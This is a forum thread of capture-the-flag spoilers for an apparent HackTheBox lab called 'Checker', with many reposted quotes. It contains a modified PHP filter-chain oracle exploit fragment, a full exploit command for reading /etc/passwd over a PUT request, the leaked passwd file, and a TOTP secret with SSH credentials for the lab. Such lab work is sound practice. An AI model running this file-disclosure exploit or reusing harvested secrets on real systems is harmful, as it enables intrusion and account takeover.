[chipapa]

I'm not sure..but check this page below maybe it will help

https://thecybersecguru.com/ctf-walkthro...ackthebox/

[fr34cker]

yes exploit works, modify the script to send payloads with request format, and it'll read file, it's kinda slow, but that's the exploit

what have you modified? can you share it?

[v3701]

yes exploit works, modify the script to send payloads with request format, and it'll read file, it's kinda slow, but that's the exploit

Can you explain a little more?

at requestor.py
```py
def req_with_response(self, s):
        if self.delay > 0:
            time.sleep(self.delay)

        filter_chain = f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'
        # DEBUG print(filter_chain)
        merged_data = self.parse_parameter(filter_chain)
        # DEBUG print("we sent : ", merged_data['html'])
        encodedPayload = base64.b64encode(merged_data['html'].encode("ascii")).decode("ascii")
        newPayload = {"name":"V3701", 'html': "<img src='data:image/png;base64," + encodedPayload + "'\\>"}
        # DEBUG print('new : ', newPayload)
        # Make the request, the verb and data encoding is defined
        try:
```

I made those changes to fit the PUT request for daft saving, the original exploit : https://github.com/synacktiv/php_filter_...le_exploit

it's kinda slow, 1 char per request (or 2 request), depends on base64 decoding

---

and here's the passwd file :

```txt
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3ys:/dev:/usr/sbin/nologin
sync:x:4:65534ync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102ystemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103ystemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105ystemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
reader:x:1000:1000::/home/reader:/bin/bash
mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/fals
```

[RedBlock]

On
https://it-tools.tech/otp-generator
Use the secret 
DVDBRAODLCWF7I2ONA4K5LQLUE

then ssh reader@checker.htb:hiccup-publicly-genesis
You will get user.txt

[v3701]

On
https://it-tools.tech/otp-generator
Use the secret 
DVDBRAODLCWF7I2ONA4K5LQLUE

then ssh reader@checker.htb:hiccup-publicly-genesis
You will get user.txt

How did you find the secret ?

[0xbeef]

On
https://it-tools.tech/otp-generator
Use the secret 
DVDBRAODLCWF7I2ONA4K5LQLUE

then ssh reader@checker.htb:hiccup-publicly-genesis
You will get user.txt

How did you find the secret ?

In this file 

/backup/home_backup/home/reader/.google_authenticator

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.

[dragon13]

any hint for root flag

[htdgthdsfx]

yes exploit works, modify the script to send payloads with request format, and it'll read file, it's kinda slow, but that's the exploit

Can you explain a little more?

at requestor.py
```py
def req_with_response(self, s):
        if self.delay > 0:
            time.sleep(self.delay)

        filter_chain = f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'
        # DEBUG print(filter_chain)
        merged_data = self.parse_parameter(filter_chain)
        # DEBUG print("we sent : ", merged_data['html'])
        encodedPayload = base64.b64encode(merged_data['html'].encode("ascii")).decode("ascii")
        newPayload = {"name":"V3701", 'html': "<img src='data:image/png;base64," + encodedPayload + "'\\>"}
        # DEBUG print('new : ', newPayload)
        # Make the request, the verb and data encoding is defined
        try:
```

I made those changes to fit the PUT request for daft saving, the original exploit : https://github.com/synacktiv/php_filter_...le_exploit

it's kinda slow, 1 char per request (or 2 request), depends on base64 decoding

---

and here's the passwd file :

```txt
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3ys:/dev:/usr/sbin/nologin
sync:x:4:65534ync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102ystemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103ystemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105ystemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
reader:x:1000:1000::/home/reader:/bin/bash
mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/fals
```

I'm using this command but is not working, what am i doing wrong? 
python3 filters_chain_oracle_exploit.py \
  --target "http://checker.htb/api/pages/1" \
  --file "/etc/passwd" \  
  --parameter "html" \
  --verb PUT \
  --headers '{"Content-Type": "application/json"}' \
  --data '{"name": "ExploitPage"}' \
  --json=1 \
  --match "Allowed memory size" \
  --delay 1

[v3701]

On
https://it-tools.tech/otp-generator
Use the secret 
DVDBRAODLCWF7I2ONA4K5LQLUE

then ssh reader@checker.htb:hiccup-publicly-genesis
You will get user.txt

How did you find the secret ?

In this file 

/backup/home_backup/home/reader/.google_authenticator

soory, I need to ask again, but how you find this file ? I'm more curious on learning than solving the lab

[poorlykid123]

yes exploit works, modify the script to send payloads with request format, and it'll read file, it's kinda slow, but that's the exploit

Can you explain a little more?

at requestor.py
```py
def req_with_response(self, s):
        if self.delay > 0:
            time.sleep(self.delay)

        filter_chain = f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'
        # DEBUG print(filter_chain)
        merged_data = self.parse_parameter(filter_chain)
        # DEBUG print("we sent : ", merged_data['html'])
        encodedPayload = base64.b64encode(merged_data['html'].encode("ascii")).decode("ascii")
        newPayload = {"name":"V3701", 'html': "<img src='data:image/png;base64," + encodedPayload + "'\\>"}
        # DEBUG print('new : ', newPayload)
        # Make the request, the verb and data encoding is defined
        try:
```

I made those changes to fit the PUT request for daft saving, the original exploit : https://github.com/synacktiv/php_filter_...le_exploit

it's kinda slow, 1 char per request (or 2 request), depends on base64 decoding

---

and here's the passwd file :

```txt
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3ys:/dev:/usr/sbin/nologin
sync:x:4:65534ync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102ystemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103ystemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105ystemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
reader:x:1000:1000::/home/reader:/bin/bash
mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/fals
```

I'm using this command but is not working, what am i doing wrong? 
python3 filters_chain_oracle_exploit.py \
  --target "http://checker.htb/api/pages/1" \
  --file "/etc/passwd" \  
  --parameter "html" \
  --verb PUT \
  --headers '{"Content-Type": "application/json"}' \
  --data '{"name": "ExploitPage"}' \
  --json=1 \
  --match "Allowed memory size" \
  --delay 1

inside try statment, you need change merged_data in put to newPayload too